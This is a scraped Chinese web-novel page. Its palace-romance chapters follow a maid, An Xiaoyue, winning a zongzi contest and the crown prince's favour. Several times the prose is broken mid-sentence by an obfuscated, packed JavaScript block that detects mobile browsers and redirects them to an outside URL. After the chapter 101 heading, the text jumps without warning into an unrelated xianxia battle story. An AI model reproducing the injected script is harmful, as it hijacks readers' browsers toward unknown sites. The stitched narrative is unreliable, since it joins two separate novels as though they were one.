可这些天她明里暗里试探太子,想要个名分,那人却没有任何反应。 难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663810|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不想纳她? 只想让她无名无分的跟着,到时候用不上了,还方便打发她走? 安小月怒气涌上来,气得想撕了绣着并蒂莲的帕子,可指尖刚碰到绸布,又顿住了。 这时,门外传来脚步声。 王嬷嬷端着茶点进来,一见她这副模样,眉头就皱了起来。 “姑娘可是身子不爽利?” 安小月别过脸,兴致不高,“我没事。” 王嬷嬷叹了口气,在她身旁坐下,低声道,“姑娘这几日心神不宁的,老奴都看在眼里,殿下那边……” “姑娘何必着急?殿下若真有别的心思,怎么会如此折辱那位?” “马上就是端午了,太子府每年这时候都要包许多粽子,或是赏赐给府里下人,或是送给城里的百姓,姑娘若是闲着,不如跟着去厨房瞧瞧?散散心也好。” 安小月蹙了蹙眉,不大想去。 王嬷嬷却笑,“姑娘手巧,若是能包几个精巧的粽子送与殿下,岂不更好?” “况且还有每年一次的巧手节,姑娘的粽子若是能拔得头筹,不仅能得到殿下亲手送的长命缕,还能与殿下同乘龙舟观赛!” 安小月眸中一亮,她从前被关在相府,倒是头一次听说过端午也会如此热闹。 她立刻站起来,“嬷嬷,那咱们快去吧!” 既然太子不肯给她名分,那她就自己争。 半途而废可不是她的性格。 两人去了小厨房,空气中飘散着粽叶的清香和糯米的甜腻,几个嬷嬷忙得不可开交。 安小月洗了手,伸手拿起一片青翠的荷叶,想着怎么才能让太子一眼认出是她包的。 之后她坐在矮凳上,两耳不闻窗外事,只专注着手里的动作。 她很久没有这样静下心来做一件事了,仿佛回到在相府被安欢颜惩罚用筷子挑生虫豆子的时候。 心无旁骛,不用想那些烦心事。 蒸笼里冒着白气,灶火噼啪作响,几个嬷嬷低声说笑,偶尔瞥她一眼,又很快移开视线。 安小月浑然不觉,甚至忘了自己为什么来这里。 直到苏德的声音在门口响起。 “安姑娘,殿下要的汤呢?” 第98章 五味粽 安小月手指一顿,猛地抬头。 她忘了! 苏德站在门边,眉头微皱。 目光从她沾满糯米的手指移到案板上堆成小山的粽子,又看了看空空如也的小灶,一时竟不知该说什么。 安小月慌忙站起身,“苏公公,我……” 苏德叹了口气,摆摆手,“罢了,殿下那边我去回话,姑娘先把汤炖上吧。” 他语气不算严厉,但安小月仍觉得脸上发烫。 她低头应了一声,匆匆去取食材,心里却莫名有些懊恼。 她竟然会把太子的事忘得一干二净? 长此以往下去,还怎么俘获太子的心。 苏德转身要走,却又停住脚步,回头看了一眼她包的粽子。 忽然道,“殿下往年不爱吃甜粽,但若是姑娘做的,或许会尝一尝。” 安小月低头看着自己包的粽子,轻轻笑了一下。 光是甜粽怎么够? 她知道要怎么样才能让太子记住她了。 端午前几日,各处都彻底忙开了。 萧衍作为储君,每逢节庆,都是他最为忙碌的时候。 今年案上堆满了龙舟赛的章程和各府递来的名册。 因着他敲打安欢颜一事,被皇上责罚全权处理此次节庆,不许任何人帮忙。 为此他已连着忙了四五日,连门都甚少出去。 “殿下,明日巧手节,殿下可要前去观赛?” 苏德躬身递上一杯清火凉茶,补了句,“听说安姑娘今年也参加了巧手节,王嬷嬷说她练得很是辛苦。” 萧衍停了笔,微微蹙眉,“明日?” “是啊,明日选出巧手节魁首,后日便要送到礼部,观赛名单也该定下来了。” 往年因为婚约,魁首次次都是相府嫡女。 可那位今年频繁惹得殿下恼怒,怕是都不一定能参加,更别提夺得魁首。 因此苏德还是更看好安小月。 萧衍有些疲惫地揉了揉眉心,“告诉她不必等,孤没工夫过去。” 苏德欲言又止,又道,“安姑娘猜到殿下忙碌,便托奴才把这给殿下拿进来。” 说着从旁边拿出一个食盒。 萧衍扫了眼,放了笔,“打开看看。” “是。” 苏德依言将盖子打开,只见里面放着十几枚用五色丝线缠起来的粽子。 每个只有两个拇指大小,看上去颇为精致可爱。 萧衍挑了挑眉,来了兴致,“倒是别致。” 他今日确实未曾好好用膳,此刻腹中空空,直接让苏德取碗筷过来。 苏德习惯性地拿出银针,正要试毒,却被太子抬手制止。 “不必了。” 他随手拈起一枚粽子,解开丝线,里头莹白的糯米裹着一颗蜜渍梅子,酸甜爽口。 萧衍尝了一口,点头,“尚可。” 一口吞下,又拿起另一枚,这次里面裹着咸蛋黄,咸甜适度,却不算新奇。 苏德见状,稍稍松了口气,笑道,“安姑娘手巧,这粽子虽小,馅料倒是丰富。” 萧衍未答,继续拆开第三枚,入口竟是辣的。 他动作一顿,眉头微蹙,但还是咽了下去。 第四枚发苦,苦得他差点吐出来。 第五枚,第六枚…… 萧衍的脸色越来越难看。 苏德在一旁看得心惊肉跳,慌忙递上茶水,“殿下,可是味道不对?不如撤下去吧?” 萧衍咬了咬牙,偏不信邪,继续拆第七枚。 这一口下去,竟是五味杂陈,酸甜苦辣咸一股脑涌上来,呛得他咳嗽了两声。 苏德急忙递水,却被他一把挥开。 萧衍面色沉沉,盯着空荡荡的食盒,忽然发现盒底还垫着一张薄薄的纸。 他抽出展开,上面是安小月堪比鬼画符的字迹。 “殿下忙于政务,三日未见,想必忘了膳食滋味,今日特备五味粽,愿殿下端午安康。” 萧衍盯着那行字,半晌,忽然低笑了一声。 苏德小心翼翼地问,“殿下可要传太医?” 萧衍将字条折好,“她人呢?” “应当在和王嬷嬷校对粽子数目,殿下不知道,这几日殿下忙外面的事,安姑娘就忙里头的,干起活来又麻利又细致,哎呦,这有了……” 苏德说到一半儿突然噤了声。 往年府里没个女主子,大大小小的事情都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663811|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要他来过问,今年多了个安小月,他却成了最轻松的那个。 本想着在殿下跟前帮她说说好话,没想到自己就先得意忘了形。 萧衍似笑非笑地盯着他,“怎的不说了?” 苏德神色悻悻,见他不算动怒,便大着胆子打听,“殿下,奴才说句不该说的,殿下难不成看不出安姑娘的心思?她应当是跟殿下想要个名分……” 话音一落,内殿骤然安静下来。 萧衍神色微沉,眸底闪过一丝涟漪。 “她想要,孤就得给?” 苏德一噎,斟酌道,“殿下三番两次帮她解围,安姑娘心生爱慕再正常不过,只是……木秀于林,风必摧之。” 萧衍啪地摔了朱笔,眉间不悦。 “你这是在教孤做事?” 苏德连忙低头,不敢再接话。 萧衍又凉凉道,“你先前不是还说此女恶毒,在孤身边早晚要害孤,还要杀她的头,现在怎的先败了阵?” 苏德额角沁出冷汗,头皮发麻。 他还能为何,只不过猜中主子心意,这才冒着生命危险捅破这层窗户纸。 不料殿下却不认了。 他话锋一转,变了态度,“殿下教训得是,奴才怎么能因为这点小事就对她改观?此女定是妖女,擅长蛊惑人心,殿下贵体,千万别被她骗了。” 这下轮到萧衍被噎得哑口无言。 气得把筷子朝他头顶砸过去,冷哼一声。 “孤明日去观赛,你告诉她,若敢把这些拿上去丢人,孤就把所有粽子都塞她嘴里。” “诺,奴才定会转告安姑娘。”苏德笑吟吟道。 顺便给安姑娘点提示,若她真能飞上枝头,别忘了他这个老梯子最好。 安小月接到苏德递来的话已经在入夜之后。 王嬷嬷帮她整理着明日出门要穿的衣裳,听完忙放了手上的东西,乐弯了眼睛。 “姑娘,殿下没直接拒绝,那就是有谱啊!” “嬷嬷,殿下心意,咱们还是别乱猜了。”安小月只是开始愣了下,之后便宠辱不惊。 他若是有这个意思,早应了她了,怎么会耽误到现在? 难不成那五味粽把他脑袋吃昏了? 第99章 巧手节 皇后设立的巧手节,向来是京中贵女们争奇斗艳的场合。 通常都会在端午前三日举办,那时京中各家闺秀们齐聚一堂,比试包粽子的手艺。 谁包的粽子最精巧,味道最妙,谁就能夺得魁首。 魁首者不仅能得到皇后亲赐的珍贵头面,更能得到太子亲赐的一枚“长命缕”。 最令人心动的是,和太子同登龙舟观赛的资格! 因此各家闺秀都卯足了劲儿想要出风头,就连安小月,也是抱着这个目的参加的比赛。 巧手节当日,彩棚绵延数百,各家小姐们锦衣华服,每人面前的案上摆满了各色各样的馅料。 有蜜枣、梅子、莲蓉……琳琅满目,数不胜数。 而往年此时,安欢颜总是众星捧月,未比先赢。 谁不知道皇后娘娘的巧手节魁首,向来是未来太子妃的囊中之物? 可今年却不同。 太子前些日子当众降罪安家,对未来太子妃又是送《女诫》又是送禁步,连她精心准备粽子都被太子府原封不动退了回来。 因着这些,众人不约而同地认为今年的魁首要换人了。 就在她们决定大显身手,争夺魁首之时,许久未曾露面的安欢颜居然也来了。 她在丫鬟嬷嬷的簇拥下走进彩棚,而后端坐席间,面上挂着端庄笑意,似乎从未受过太子训斥。 可没人知晓,安欢颜心底却不似面上这般淡定。 她呼吸发颤,感受着周围投来若有若无的打量目光,像细密的针,刺得她浑身发疼。 **!都在看她的笑话! 她猛地攥紧丝线,几乎将掌心勒出血来。 而让她恨到骨子里的安小月,那个本该低贱如泥的奸生女。 此刻竟安静地坐在末席,神色淡然,仿佛周遭的一切喧嚣都与她无关。 她凭什么这么从容? 安欢颜胸口剧烈起伏,眼前发黑。 明明该被万人唾弃的是安小月! 为什么现在被排斥,被厌恶的,却是她安欢颜? 就在这时,外头忽然传来一阵骚动。 “太子殿下到!” 全场瞬间安静,众人顾不得多想,慌忙起身行礼。 萧衍一身玄色锦袍,缓步走上高台,目光淡淡扫过众人,最后在安小月身上停留了一瞬。 安欢颜多日没见到过太子,眼中闪过一丝喜色,连忙上前,“殿下……” 萧衍却理都未理,对礼官道,“开始吧。” “太子今日竟有空来?” 皇后笑意不达眼底,目光在他身上一扫。 “操办端午诸事辛苦,本宫瞧着你倒是清减了些,可是身边人伺候得不用心?” 满座贵女屏息心惊,谁听不出来这话里藏针? 太子的身边人,不就是被太子几次维护的那个宫婢? 听闻前几日安家嫡女被罚也和此女有关,皇后娘娘这般,大抵是对太子的举动不满了。 萧衍却神色淡淡,拂袖落座,“天热消瘦,也是寻常事。” 他忽而侧眸,看向正往嘴里塞点心的六皇子,唇角微勾,“倒是六弟,半点未变。” 萧泽捏着半块杏仁酥僵住,神色霎时异常铁青,黑着脸扔了点心。 皇后脸色骤沉。 “太子!你六弟正在长身体,近日又在六部历练,劳心劳力,多吃点也在情理之中。” “是么?” 萧衍慢条斯理拎起茶盖,拨了拨浮沫,“六弟辛苦,孤自愧不如。” 皇后和萧泽又同时变了脸色。 台上的低语模糊不清,安小月坐在末席,内心感到一种难以言喻的不安。 她不知台上发生了何事,只看到几人的神色都不好看。 显然不是什么愉快的谈话。 安小月低下头,努力专注于手中的粽子,可越是心慌,手指越是不听使唤。 太子近日屡屡责罚安欢颜,多半与她有关,若今日再出差错…… 她只怕逃不过这一劫。 安小月咬唇,正想重新理线,忽地发现案上的丝线竟然全断了,无一存活。 断面齐整,明显被人动过手脚! 突如其来的变故让她心神恍惚。 方才正式开赛前,她和几位贵女一起去更衣,被拉着多说了会话,难道就在那时? 她下意识抬头,正对上安欢颜似笑非笑的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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粽叶是现摘的,仍带着晨露,就连丝线她还特意用盐水泡过,这样才不会因为里头的馅料胀开而绷断。 金线配素线,她手指翻飞着编出个如意结,既不太张扬,又透着几分讲究。 每片叶子都得缠得齐整,连缠线的力道都要掂量再三。 这哪是在包粽子,分明是在琢磨心头肉呢。 时间流逝,礼官敲响铜锣,高声道,“时辰到!请诸位贵女停手,呈上佳作!” 安小月轻轻呼出一口气,将最后的丝线收尾,指尖在粽子上轻轻一抚。 也不知他会不会喜欢…… 宫婢们收了贵女们的粽子,呈至案前,有专门的宫人为贵人们分发粽子。 礼官躬身道,“请皇后娘娘,太子殿下与诸位皇子公主们品鉴。” 皇后目光扫过案上琳琅满目的粽子,指了指,贴身嬷嬷便拿起一只金线缠绕,缀满珍珠的华丽粽子。 她满意颔首。 “这粽子装饰精细,不仅有金丝缠绕,更有珍珠点缀,倒是别出心裁,想必是欢颜的手笔吧?” 安欢颜立刻起身行礼,眉眼带笑。 “娘娘慧眼,臣女献丑了。” 萧衍淡淡瞥了一眼,“华丽有余,可惜刻意了些,失了灵气。” 萧泽冷笑一声,故意唱反调。 “皇兄此言差矣!安大小姐的粽子样式很是华丽复杂,正是巧手节的精髓,难道非要粗陋简朴才算好?这样岂不是人人都能夺得魁首?” 萧衍嗤了一声,不疾不徐道,“六弟若喜欢,待会儿赐你便是。” 萧泽一噎,脸色微沉。 萧衍没搭理他,让人拿起另一枚粽子。 “此粽用金线素线缠绕,巧而不俗,倒是难得。” 萧泽没有看出这是谁的,不屑道,“不过是寻常样式,有何稀奇?” 萧衍微微抬手,苏德便自觉上前,直接剥开粽叶。 其余人也都剥开粽叶品尝。 礼官捋着胡须夸赞,“糯米莹润饱满,馅料咸香适中,火候恰到好处,内外皆佳。” “的确不错。” 夸赞声此起彼伏响起,其中不乏见太子夸赞,也跟随之人。 皇后眸光微冷,却不得不维持体面附和。 “确实精巧。” 她心中不悦极了。 太子打量她瞧不出来这粽子出自安小月之手? 她明先说了安欢颜的粽子不错,太子却偏要和她对着来,着实是气人! 可她又挑不出错处,只能人云亦云,勉强认可。 其他贵女的粽子也一个接一个品尝,却再无压得过安小月的出现。 皇后更气了。 经过众人商议,一刻钟后,礼官高声宣布结果。 “经皇后娘娘,太子殿下品鉴,本次巧手节夺魁者,太子府,安小月!” 周遭先是安静一瞬,又爆发出更大的议论声。 此次魁首,竟然是个婢女? 这种低贱之人能和她们一起参加巧手节本就不公,居然还夺了魁首! 在场贵女对比赛结果都不满意,但没一人敢站出来反驳。 反而暗戳戳地留意着安欢颜,期待这位未来的太子妃能代表她们说说话。 可惜等了半晌,却等到了个强颜欢笑的安大小姐。 安欢颜面上强笑道,“恭喜了。” 安小月还未回过神,她是魁首? 居然是她? 疑惑间,抬头对上太子深邃的眼眸,后者微不可察地挑了挑眉,避着人做了个手势。 安小月看清是什么之后,脸颊爆红。 可惜众目睽睽之下,她又不能像私底下那样瞪他,只能憋屈地把头垂下。 安欢颜见她没有回应自己,瞬间僵在原地,脸上的笑容几乎维持不住。 **!不过是赢了一次,就敢这般目中无人! 她可是连续得了三年魁首! 安欢颜死死咬住下唇,指甲几乎刺破掌心,心中更是翻涌着滔天恨意。 然而却无人在意她。 彩棚内气氛微妙。 皇后终于缓缓开口,“既然胜负已定,也该发赏赐了。” 她抬手示意,身旁嬷嬷立刻捧出一只锦盒,恭敬呈上。 皇后亲自打开,里面赫然是一副金丝点翠头面,华贵非凡。 皇后语气温和,眼底却冷,“这副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672395|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头面,是本宫当年封妃时所戴,今日赐予你,望你谨守本分,莫要心比天高,徒惹祸端。” 她指尖轻轻抚过锦盒,眸光锐利如刀,直刺安小月。 警告之意,不言而喻。 安小月心头一凛,立刻跪下,双手接过锦盒。 垂眸恭敬道,“奴婢谢皇后娘娘恩典,定当时刻谨记娘娘教诲,不敢有半分逾越。” 她声音轻柔,姿态谦卑,可脊背却挺得笔直,无声反抗着不满。 皇后在警告她! 因为她夺了安欢颜的魁首之名? 她心跳微乱,却不敢再抬头,生怕泄露半分情绪。 萧衍坐在上首,眸光淡淡扫过皇后,又落在安小月身上,眼底闪过一丝冷意。 他语气平静道,“安小月手艺精湛,赏。” 苏德立刻上前,呈上一只紫檀木匣,里面是一枚五色长命缕,尾端系有吐蕃进贡的水晶珠。 众人神色各异,萧泽冷笑一声,安欢颜更是恨得几乎咬碎银牙。 所有人的目光都聚焦在太子身上。 他缓缓抬手拿出长命缕,“安小月,过来。” 安小月心头一跳,却不敢迟疑,缓步上前,神态恭敬地在太子案前盈盈跪下。 萧衍垂眸看她,淡淡道,“伸手。” 太子要亲手给她戴上? 安小月耳尖瞬间烧红,连呼吸都轻了几分。 她缓缓伸出纤细的手腕,指尖因紧张而微微蜷缩。 萧衍神色平静,轻轻托住她的手腕,将长命缕缠绕上去。 他的动作极慢,指腹若有似无地擦过她腕间肌肤,激起一阵细微的战栗。 安小月心跳如鼓,只觉得脸颊滚烫,连脖颈都染上一层薄红。 安欢颜死死盯着这一幕,指甲深深掐进掌心,眼中妒火几乎要喷薄而出。 皇后神色若有所思。 萧泽毫不掩饰不悦,冷笑一声。 凑过去低声对安欢颜道,“皇兄倒是格外青睐她,你的太子妃之位怕是保不住了。” 其他贵女面面相觑,有人羡慕,有人嫉恨,却无人敢出声。 殿内气氛凝滞,唯有萧衍从容不迫,仿佛只是做了一件再寻常不过的事。 第101章 没功夫见你 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 